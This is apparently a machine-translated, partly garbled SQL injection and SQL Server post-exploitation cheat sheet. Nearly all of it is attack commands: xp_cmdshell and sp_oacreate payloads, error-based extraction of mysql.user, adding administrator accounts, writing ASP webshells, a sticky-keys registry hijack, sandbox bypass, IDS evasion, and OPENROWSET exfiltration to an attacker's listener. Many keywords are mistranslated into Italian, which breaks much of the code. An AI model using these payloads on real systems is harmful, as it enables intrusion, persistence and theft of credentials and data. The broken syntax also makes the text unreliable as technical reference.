Unisci i pollici alla tabella delle temperature ; inserisci nel master.dbo.xp_blank>_cmdshell executivo temp(id) tipo C:\web\index.asp; – Visualizza un file
Contenuto ; inserire nel master.dbo.xp_blank>_cmdshell esecutivo temp(id) dir: c:\; – ; inserire in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs ENUM W3SVC ; inserire nell'executor temp(id,num1) master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Autorità applicabile
PUBBLICO) Scrivi al tavolo: affermazione 1: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(sysadmin)); – Affermazione 2: e 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); – Affermazione 3: e 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); – Dichiarazione 4: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(securityadmin)); – Dichiarazione 5: e 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); – Dichiarazione 6: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(diskadmin)); – Affermazione 7: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(bulkadmin)); – Affermazione 8: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(bulkadmin)); – Enunciato 9: e 1=(Seleziona IS_blank>_MEMBER(db_blank>_owner)); –
Scrivi il percorso verso la tabella: ; create table dirs(paths varchar(100), id int)– ; inserire dirs executive master.dbo.xp_blank>_dirtree c:\– e 0<>(seleziona i primi 1 percorsi dai dirs)– e 0<>(seleziona i primi 1 percorsi dai dirs dove i percorsi non sono in(@Inetpub))– ; Create Table dirs1(paths varchar(100), id int)– ; inserire dirs executive master.dbo.xp_blank>_dirtree e:\web– e 0<>(seleziona i primi 1 percorsi da dirs1)–
Fai un backup del _blank> database in una directory web: scarica ; dichiarare @a nome di sistema; set @a=db_blank>_name(); Backup del database @a su disco=e:\web\down.bak; –
e 1=(Seleziona il nome top 1 da(Seleziona top 12 id, nome da sysobjects dove xtype=char(85)) T
Ordine di ID Desk) e 1=(Seleziona Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) da sysobjects) Vedi anche
Tabelle correlate. e 1=(seleziona user_blank>_id da USER_blank>_LOGIN) e 0=(seleziona l'utente da USER_blank>_LOGIN dove l'utente>1)
-=- wscrip{filter}t.shell esempio -=- dichiara @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out executive sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
dichiara @o int, @f int, @t int @ret int dichiara @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, OpenTextFile, @f fuori, C:\boot.ini, 1 Executive @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) inizio @line stampa Executive @ret = sp_blank>_oamethod @f, readline, @line out fine
dichiara @o int, @f int, @t int @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
dichiara @o int, @ret int Esecutivo sp_blank>_oacreate speech.voicetext, @o chiuso sp_blank>_oamethod @o executive, register, NULL, foo, bar Executive sp_blank>_oasetproperty @o, velocità, 150 exec sp_blank>_oamethod @o, parla, NULL, tutti i tuoi server sequel appartengono a, us, 528 aspetta ritardo 00:00:05
; dichiara @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, registre, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 executive
sp_blank>_oamethod @o, parla, NULL, tutti i tuoi server sequel appartengono a noi, 528 attesa di ritardo
00:00:05–
xp_blank>_dirtree il permesso PUBBLICO applicabile exec master.dbo.xp_blank>_dirtree c: Le informazioni restituite hanno due campi: sottodirectory, profondità. Campi sottodirectory
Tipo di carattere, il campo di profondità è il campo di modellazione. Create Table dirs (paths varchar(100), id int) La costruzione di tabelle, la tabella creata qui è correlata al xp_blank>_dirtree sopra, con campi uguali e dello stesso tipo. inserire dirs esecutivo master.dbo.xp_blank>_dirtree c: Finché costruiamo una tabella e definiamo in modo equo i campi restituiti dal processo di archiviazione
Esegui! Per ottenere l'effetto della scrittura delle tabelle, passo dopo passo per ottenere le informazioni che vogliamo! Questa iniezione di errore si basa principalmente sull'overflow del tipo di dati Mysql mysql > SELECT 18446744073709551610 * 2 ; ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(- (1)*
9223372036854775808)' Versione del database di richiesta: mysql> SELECT * 2 (se (((SELECT * da (SELECT (versione ()) ) s), 18446744073709551610,
18446744073709551610)); ERRORE 1690 (22003): Il valore BIGINT UNSIGNED è fuori intervallo in '(2 * if (( Select ' 5.5 'from
Dual), 18446744073709551610.18446744073709551610))' Ottieni il nome del campo: mysql> SELECT 2 * if((SELECT * da (select * da test.shop) come '' limite 1)>(SELECT * da
test.shop limite 1), 18446744073709551610, 18446744073709551610);
ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(2 * if((((select
'articolo', 'rivenditore', 'prezzo' da (seleziona 'test'.'shop'.'articolo' AS
'articolo', 'test'.'shop'.'dealer' AS 'dealer','test'.'shop'.'prezzo' COME 'prezzo' da
'test'.'shop') limite 1) > (seleziona
'prova'.'negozio'.'articolo','test'.'negozio'.'rivenditore','test'.'negozio'.'prezzo' da 'prova'.'negozio' limite
1)),18446744073709551610,18446744073709551610))' Ottieni il valore del campo:
mysql> SELECT 2 * if((SELECT * da (select * da (mysql.user) LIMIT 1) come '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(2 * if((((select
'localhost','root','*','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y
Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '0,'', '','' DA DOPPIO LIMITE 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Nota che questo metodo non funziona con versioni più vecchie di Mysql, e dovrai conoscere il limite di lunghezza del messaggio di errore, poiché questo determinerà
Puoi ottenere quanto vuoi: mysys / my_error.c
/* Lunghezza massima di un messaggio di errore. Dovrebbe essere mantenuto sincronizzato con MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Se l'oggetto è MariaDB (un fork di Mysql), potresti vedere un messaggio di errore simile quando provi il metodo sopra:
mysql> SELECT 2*(if((SELECT * da (SELECT (version()))), 18446744073709551610,
18446744073709551610)) ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Come soluzione, questo problema può essere risolto in questo modo:
mysql> SELECT (I IS NOT NULL) - -9223372036854775808 DA (SELECT (version())i)a; ERRORE 1690 (22003): Il valore BIGINT è fuori intervallo in '(('5.5-MariaDB' non è nullo) - -
(9223372036854775808))' Ora vediamo se riusciamo a rendere il nostro Vector un po' più corto
//查询数据库版本
SELECT 2*(if((SELECT * da (SELECT (version())))), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I IS NOT NULL) - -9223372036854775808 DA (SELECT (version())i)a = select if(x,2,2)*1E308 da(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) come '' limite 1)>(SELECT * da
test.shop limite 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) come '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| host|| password|| file_priv da (select*from mysql.user LIMIT
1) un limite 1),2,2)
//获取字段个数
seleziona 1E308*if((seleziona*da mysql.user limite 1)>(seleziona 1),2,2)
Alcune altre deformazioni
SELECT (I IS NOT NULL) - -9223372036854775808 DA (SELECT (version())i)a select 1E308*if((select user|| host|| password|| file_priv da (select*from mysql.user LIMIT
1) un limite 1),2,2); => select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> seleziona (seleziona * da mysql.user)=1; mysql> seleziona (seleziona * da mysql.user)in(1);
ERRORE 1241 (21000): L'operando dovrebbe contenere 42 colonne (o colonne) select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); select if((select user|| host|| password|| file_priv da(select*from mysql.user LIMIT 1)a
limite 1),2,2)*1E308 SELECT (I IS NOT NULL) - -9223372036854775808 DA (SELECT (version())i)a select (x!=0x00)--9223372036854775808 da(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '((not('root@localhost')) - ~
(0))' 3. Giudicare il sistema di database ; e (select count(*) da sysobjects)>0 mssql ; e (select count(*) da msysobjects)>0 accesso 4. Il parametro di iniezione è un carattere 'e [criteri di interrogazione] e ''=' 5. Non ci sono parametri filtrati durante la ricerca 'e [criteri di richiesta] e '%25'=' 6. Indovina il database ; e (seleziona Count(*) da [nome database])>0 7. Indovina il campo ; e (seleziona Count(nome campo) dal nome del database)>0 8. Indovina la lunghezza del disco sul campo ; e (seleziona top 1 LEN (nome del campo) dal nome del database)>0 9. (1) Indovina il valore ASCII del campo (accesso) ; e (seleziona top 1 asc(mid(nome campo, 1,1)) dal nome del database)>0 (2) Indovina il valore ASCII del campo (mssql) ; e (seleziona top 1 unicode(sottostringa(nome campo, 1,1)) dal nome database)>0 10. Struttura dei permessi di prova (mssql) ; e 1=(seleziona IS_SRVROLEMEMBER('sysadmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('serveradmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('setupadmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('securityadmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('diskadmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('bulkadmin')); -- ; e 1=(seleziona IS_MEMBER('db_owner')); -- 11. Aggiungere un account per mssql e il sistema ; nome utente master.dbo.sp_addlogin esecutivo; -- ; exec master.dbo.sp_password null, username, password; -- ; username amministratore master.dbo.sp_addsrvrolemember executive; -- ; Executive master.dbo.xp_cmdshell 'Username utente web password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; Executive master.dbo.xp_cmdshell 'Username Rete password /Add'; -- ; EXEC master.dbo.xp_cmdshell 'Nome utente degli amministratori del gruppo locale nete /add'; -- 12. (1) Attraversare il catalogo ; Create Table dirs (paths varchar(100), id int) ; inserisci regs executive master.dbo.xp_dirtree 'c:\' ; e (seleziona i primi 1 percorsi dalle dirs)>0 ; e (seleziona i primi 1 percorsi dalle dirs dove i percorsi non in('percorsi ottenuti dal passaggio precedente'))>) (2) Attraversare il catalogo ; crea la temperatura della tabella (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; inserire temporaneo esecutivo master.dbo.xp_availablemedia; -- Prendi tutti i dischi attuali ; inserire nel temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Ottenere una lista di sottodirectory ; inserire nel temp(id,num1) executive master.dbo.xp_dirtree 'c:\'; -- Ottenere la struttura dell'albero delle directory per tutte le sottodirectory ; inserire nell'executor temp(id) master.dbo.xp_cmdshell 'tipo c:\web\index.asp'; -- Visualizza il contenuto del file 13. Stored procedure in mssql xp_regenumvalues Chiave radice del registro, chiave figlia ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' e altro ancora
Metodo del record set per restituire tutti i valori chiave xp_regread Chiave radice, chiave figlia, nome chiave-valore ; exécutif xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' restituisce il valore della chiave di formulazione xp_regwrite Chiave radice, chiave figlia, nome valore, tipo di valore, valore Esistono due tipi di valori REG_SZ REG_DWORD per i tipi di carattere e per gli interi ; exécute xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sono scritti nel registro xp_regdeletevalue Chiave radice, sottochiave, nome del valore exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' per rimuovere un valore xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' tasto delete,
Includi tutti i valori sotto quella chiave 14. MSSQL Backup crea una webshell Usa il modello crea table cmd(immagine str); inserire in cmd(str) valori ('<% Dim oscrip{filter}t %>'); Backup del modello del database su disco='c:\l.asp'; 15. Funzioni integrate di MSSQL ; e (seleziona @@version)>0 per ottenere il numero di versione di Windows ; e user_name()='dbo' per determinare se l'utente connesso del sistema attuale è SA ; e (seleziona user_name())>0 Ha fatto esplodere gli utenti connessi al sistema attuale ; e (seleziona db_name())>0 per ottenere il database attualmente connesso 16. Webshell concisa Usa il modello crea table cmd(immagine str); inserisci in cmd(str) valori ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c").stdout.readall%>'); Backup del modello del database su disco='g:\wwwtest\l.asp'; Quando richiedi, usa qualcosa del genere:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Ottieni tutti i nomi dei database, inclusi i database di sistema –SELECT nome FROM master.dbo.sysdatabases
– Ottenere tutti i nomi di database non di sistema –seleziona [nome] da master.dbo.sysdatabases dove DBId>6 ordina per [Nome]
– Ottieni tutte le informazioni, incluso l'indirizzo del file del database –seleziona * da master.dbo.sysdatabases dove DBId>6 ordina per
[Nome]
Questa query di istruzione restituisce tutte le tabelle utente
seleziona * da sysobjects dove xtype='u'
Consulta tutte le informazioni della tabella dati nel sistema
seleziona * da sysobjects
Guarda il nome della macchina seleziona * da sys.servers
Indice delle colonne Esecutivo master.dbo.xp_subdirs 'C:\'
Esecutivo master.dbo.xp_dirtree 'C:',1,1 db_owner I permessi possono essere applicati
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Codice programma, scritto su webshell
Esecutivo master.dbo.xp_subdirs 'd:\web\www.xx.com'; Esecutivo sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB")%>"
Esegui il maestro.. xp_enumgroups
Utenti del sistema Traverse
Esegui il maestro.. xp_getnetname Ottieni il nome attuale della macchina
--Elencare i dischi fissi sul server, insieme allo spazio disponibile per ciascun disco dbo pubblico
esecuzione
xp_ntsec_enumdomains
-- Crea un account per accedere a MSSQL Nome master.dbo.sp_addlogin esecutivo, Pass; --
-- Elenca il nome di dominio del server xp_ntsec_enumdomains // Nome macchina //dbo pubblico
-- Fermare o avviare un servizio xp_servicecontrol 'stop', 'schedule' //schedule è il nome del servizio //dbo
--Usa il pid
Ferma un programma in esecuzione xp_terminate_process 123 //123 è il pid //dbo
-- Sono elencati solo i sottodirectory in una directory dbo.xp_subdirs 'C:' //dbo
SQL Server Il metodo di apertura della xp_cmdshell nel 2005 EXEC sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; EXECUTIVE
sp_configure 'xp_cmdshell', 1; RICONFIGURARE;
SQL2005 Apri 'OPENROWSET' Metodi supportati: esecutivo sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; executive sp_configure 'Ad Hoc
Query distribuite',1; RICONFIGURARE;
SQL2005 per abilitare il supporto 'sp_oacreate': esecutivo sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; Esecutivo
sp_configure 'Vecchie Procedure di Automazione',1; RICONFIGURA
Come abilitare xp_cmdshell in SQL Server 2008
-- Per permettere di cambiare le opzioni avanzate. EXECUTIVE
sp_configure 'mostra opzioni avanzate', 1 VAI -- Per aggiornare il valore attualmente configurato per
Opzioni avanzate. RICONFIGURA VAI -- Per abilitare la funzione. EXECUTIVE sp_configure 'xp_cmdshell', 1 VAI --A
Aggiorna il valore attualmente configurato per questa funzione. RICONFIGURA VAI
exec xp_cmdshell 'ipconfig'
Oggi volevo cambiare la password di accesso SA del server del database, ma improvvisamente me ne sono dimenticato, quindi ho dovuto aprire l'analizzatore di query con l'aiuto di altri account per cambiare la password SA
È molto semplice:
Esecuzione: sp_password Null, 'teracypwd', 'sa' Imposta la password SA su "teracypwd"
Dopo l'esecuzione con successo
C'è "Comando/i completati con successo." OK!
Nel permesso del database, separare il metodo per ottenere l'IP del server database MSSQL
1. Il NC locale ascolta NC - VVLP 80
2.; inserire in
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Indirizzo=il tuo IP, 80; ', 'seleziona * da
dest_table') seleziona * da src_table; --
seleziona * da openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','seleziona utente; ')
Importazione ed esportazione di database
/*不同服务器数据库之间的数据操作*/
--Crea server di collegamento Executive sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Nome server remoto o indirizzo IP' dirigente sp_addlinkedsrvlogin 'ITSV', 'falso
',null, 'username', 'password'
--esempio di query select * da ITSV.nome database.dbo.nome tabella
--esempio di importazione seleziona *
nella tabella da ITSV.databasename.dbo.tablename
--Elimina il server collegato se in futuro non sarà più in uso esecutivo sp_dropserver 'ITSV',
'droplogins'
-- Connessione a dati remoti/LAN (openrowset/openquery/opendatasource) --1、openrowset
--esempio di query seleziona *
da openrowset( 'SQLOLEDB', 'nome server SQL'; 'Nome utente'; 'password', nome database.dbo.nome tabella)
-- Genera una tabella locale seleziona * nella tabella da openrowset( 'SQLOLEDB', 'SQL Server Name'; 'Nome utente'; 'Password', numero
Secondo il nome del database.dbo. nome della tabella)
-- Importare la tabella locale nella tabella remota inserisci openrowset( 'SQLOLEDB', 'nome server sql'; 'Nome utente'; 'Password', database
name.dbo.table name) seleziona *dalla tabella locale
-- Aggiorna le tabelle locali Aggiornamento B Set b. colonna A = a da openrowset( 'SQLOLEDB', 'nome server SQL'; 'Nome utente'; '
password ', nome database .dbo.nome tabella) come tabella locale di join interno B su a.colonna1=b.colonna1
--openquery L'uso richiede la creazione di una connessione
--Prima di tutto, crea una connessione per creare un server di collegamento esecutivo sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'nome server remoto o indirizzo IP' --Indaga seleziona * FROM OpenQuery(ITSV, 'SELECT * FROM dati
nome library.dbo.table ') -- Importare la tabella locale nella tabella remota inserire openquery(ITSV, 'SELECT * da database.dbo.table name') seleziona * da locale
tavolo --aggiornamento tabella locale Aggiornamento B Set b. colonna B=a DA openquery(ITSV, 'SELEZIONA * da database.dbo.tablename')
come Tabella locale di join interna b su a. colonna A=b. colonna A
--3、OpenDataSource/OpenRowSet SELEZIONA * DA
opendatasource( 'SQLOLEDB', 'Data Source=ip/NomeServer; ID utente=Nome login; Password=Password '
).test.dbo.roy_ta -- Importare la tabella locale nella tabella remota
Cancellazione e ripristino della xp_cmdshell
Modi per recuperare xp_cmdshell Elimina la stored procedure estesa xp_cmdshell
affermazione Esecutivo sp_dropextendedproc 'xp_cmdshell'
Recupera l'istruzione sql di cmdshell Executive sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Esecutivo
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Select count(*) da
master.dbo.sysobjects dove xtype='x' e Il risultato di ritorno è 1 ed è ok
Altrimenti, devi caricare c:\inetput\web
\xplog70.dll più tardi Esecutivo master.dbo.sp_addextendedproc 'xp_cmdshell', 'C:\inetput\web\xplog70.dll
’; --
Se lo elimini nel modo seguente Procedura di caduta sp_addextendedproc Procedura di caduta sp_oacreate Esecutivo
sp_dropextendedproc 'xp_cmdshell'
Puoi ripristinarlo con la seguente affermazione DBCC addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
In questo modo, può essere ripristinata direttamente, indipendentemente dal fatto che sp_addextendedproc esista o meno
1、 Usa xp_cmdshell: Executive master.dbo.xp_cmdshell "Amministratore Utente Rete Admin / Aggiungi" Esecutivo
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
In xp_cmdshell caso, usa sp_oacreate per seguire sp_oamethod: dichiara @object int Esecutivo
sp_oacreate 'wscrip{filter}t.Shell', @object out Esecutivo sp_oamethod
@object,'Run',NULL,'admin utente net' admin /add' exec sp_oamethod @object,'Run',NULL,'net
localgroup Administrators admin /add'
Nota: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Usa sp_oacreate e FSO dichiara @o int Esecutivo sp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; dichiara @oo int Esecutivo
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out sp_oamethod @oo esecutivo,
'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Usa xp_regwrite (db_owner, riavvio richiesto): Esecutivo master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run', 'eadd1', 'reg_sz','admin utente rete admin /add' Esecutivo master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Usa sp_add_job: Esecutivo
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Usa l'sp_delete_job esecutivo MSDB
null,'x' Esecutivo sp_add_job 'X' Executive sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' sp_add_jobserver esecutivo
Null, 'x', @@servername executive sp_start_job 'x'
Molti S.A. hanno avuto successo in molte macchine usando direttamente la modalità sandbox, ma io non l'ho mai praticata e non so quale sia il tasso di successo. Quando l'estensione viene rimossa, prima
Ripristina la memoria di lettura e scrittura nel registro. DBC addextendedproc ('xp_regread','xpstar.dll') DBCC addextendedproc
('xp_regwrite'','xpstar.dll')
Corretto il modo protetto del sandbox Maestro esecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; --
Controlla se il valore di 'SandBoxMode' è diventato 0.
executive master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Infine, chiama la modalità sandbox seleziona * da openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c NET user user passwd /add")')
Se la modalità di protezione sandbox non è "spento", viene segnalato un errore: Cameriere: Msg 7357, Livello 16, Stato 2, Linea 1
Non è riuscito a gestire l'oggetto 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB offre programmi
La prefazione 'microsoft.jet.oledb.4.0' indica che non ci sono colonne nell'oggetto.
Tracciamento errori OLE DB [Errore non interfaccia: provider OLE DB impossibile elaborare l'oggetto, poiché l'oggetto
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Se il .mdb non esiste o il percorso di ingresso è errato Cameriere: Msg 7399, Livello 16, Stato 1, Linea 1
Errore del provider OLE DB 'microsoft.jet.oledb.4.0'. [Messaggio restituito dal provider OLE/DB:
File 'C:\WINDOWS\system32\ias\dnary1.mdb' non trovato. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ]。
3. Se ci sono più spazi durante il processo di input, verrà segnalato anche un errore. Presta particolare attenzione a questo, molte persone cercano direttamente articoli online
Incollalo dentro ed eseguilo. Cameriere: Msg 7357, Livello 16, Stato 2, Linea 1 Non è riuscito a processare l'oggetto 'select
shell("cmd.exe /c net user user passwd /add")'。 Il provider OLE DB 'microsoft.jet.oledb.4.0' afferma che non ci sono colonne nell'oggetto.
Tracciamento errore OLE DB [Errore non interfacciale: Provider OLE DB impossibile a elaborare l'oggetto, poiché l'oggetto ha
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c utente utente nete
passwd /add")']。
4、 Se i permessi mdb e i permessi cmd.exe sono sbagliati, si verificherà anche il problema. Quando i permessi MDB sono errati, Server: Elimina
Interesse 7320, Livello 16, Stato 2, Linea 1
Non poteva rispondere Il provider OLE DB 'Microsoft.Jet.OLEDB.4.0' esegue la query. [Fornitore OLE/DB restituito
message: 未知] OLE DB Errore Trace [Provider OLE/DB 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Se il permesso di rete è errato, non c'è alcun prompt.
L'ultimo modo per aumentare l'autorità è caricare i ias.mdb e i cmd.exe del sistema sotto la directory web attuale, net.exe tre file.
Esegui select * da openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe utente utente passwd /add")') Aggiunta con successo un utente computerizzato.
La divisione cmdshell bypassa IDS Dichiara @a sysname set @a='xp_'+'cmdshell' Executive @a 'ipconfig' dichiara
@a sysname set @a='xp'+'_cm'+'dshell' esecutivo @a 'dir c:\'
Modifica shift di dirottamento del registro Maestro esecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe su'; --
Interroga il linkserver selezionare
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,accesso dati da master.dbo.sysservers selezionare
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,accesso dati da master.dbo.sysservers
Consulta linkserver2 seleziona host distinto,db_name(dbid),net_address,loginame,program_name da
Maestro.. sysprocesses
Interroga il linkserver e altri utenti effettuati l'accesso seleziona * da [192.168.1.1].master.dbo.syslogins
Query linkserver Tutti i database select * da linkedSrvWeb.master.dbo.sysdatabases
Esegui l'archiviazione estesa su LinkServer Executive [IP].master.dbo.xp_cmdshell
Interroga tutte le tabelle sul linkserver seleziona * da [ip].master.dbo.sysobjects
seleziona * da openrowset
('sqloledb','server=IP; uid=utente; pwd=password', 'seleziona @@version')
select * da openquery([LINKSERVER
nome], 'seleziona @@version')
select * da openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
select * da openquery(GM_SERVER,'select * da sysobjects dove xtype = (''U'')')
seleziona * da
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
seleziona * da openquery(toatdeweb,'seleziona
srvname da master.dbo.sysservers')
Inserisci in OpenDataSource
('sqloledb','server=222.241.95.12; uid=scd; PWD=A123520; database=hack520').hack520.dbo.zhu seleziona
nome da master.dbo.sysdatabases crea database hack520 Crea TABELLA zhu(nome nvarchar(256)
null); Create TABLE J8(id int NULL, name nvarchar(256) null);
seleziona * da OpenQuery
(toatdeweb,'imposta fmtonly off exec master.dbo.xp_cmdshell''utente web'')
Maestro esecutivo... xp_dirtree
'c:\',1,1 Esegui una directory di query
link esecutivi e maestro.. xp_cmdshell 'ipconfig'
seleziona * da openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all'')
Collega mysql Select * da Mem_DB. UserDB.dbo.AdminList
EXECUTIVE MASTER.. XP_dirtree 'c:\',1,1
Esecutivo
master.dbo.xp_cmdshell 'dir'
seleziona count(*) da [indicare] Consulta quanti dati ci sono nella tabella corrente
seleziona un nome host distinto,db_name(dbid),net_address,loginame,program_name
Dal maestro.. sysprocesses
seleziona * da gameDB01. Server01.dbo.cabal_character_table dove nome='
Maiale'
Quando lo elimini, dice: Il database è in uso e non può essere cancellato.
Clicca sul database che vuoi eliminare per aprire il Visualizzatore Eventi.
Input:
Utilizzo
Maestro Vai Poi inserisci quanto segue: dichiara @d Varchar(8000) Set @d= ' ' seleziona @d=@d+ ' uccidi
'+cast(spid come varchar)+personaggio(13) Dal maestro.. sysprocesses dove dbid=db_id('nome libreria') esecutivo(@d) -- Usa il codice per eliminare prima il processo che si collega a questo database
MSSQL gestisce Oracle tramite LinkServer
1) Installare Oracle sul server SQL_SERVER 2005
9i. Supponiamo di installare nella directory C:\ora92i\. Se D: è una partizione NTFS, devi impostare la directory ORACLE installata come quella utilizzata
Gli abbonati hanno il diritto di eseguire, aggiungere e cancellare.
2) Configura il file C:\ora92i\network\ADMIN\tnsnames.ora. (Il seguente testo rosso è un esempio di configurazione)
